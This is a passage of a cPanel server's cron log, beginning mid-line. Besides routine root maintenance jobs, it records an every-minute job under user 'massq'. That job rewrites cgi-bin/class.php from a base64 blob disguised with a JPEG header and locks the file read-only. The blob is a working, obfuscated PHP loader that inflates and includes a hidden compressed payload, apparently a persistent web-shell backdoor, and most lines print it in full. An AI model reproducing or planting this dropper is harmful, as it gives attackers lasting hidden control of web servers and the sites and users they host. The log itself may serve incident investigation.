kZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:08:01 server CROND[29447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:09:01 server CROND[29524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:09:01 server CROND[29525]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 01:10:01 server CROND[29590]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 01:10:01 server CROND[29591]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 01:10:01 server CROND[29592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:10:01 server CROND[29593]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 01:11:01 server CROND[29706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:12:01 server CROND[29760]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 01:12:01 server CROND[29761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:13:01 server CROND[29950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:14:01 server CROND[30011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:15:01 server CROND[30060]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 01:15:01 server CROND[30062]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 01:15:01 server CROND[30063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:16:01 server CROND[30167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:17:01 server CROND[30226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:18:01 server CROND[30297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:19:01 server CROND[30453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:20:01 server CROND[30521]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 01:20:01 server CROND[30523]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 01:20:01 server CROND[30525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:20:01 server CROND[30526]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 01:20:01 server CROND[30524]: (root) CMD (/usr/lib64/sa/sa1 1 1)
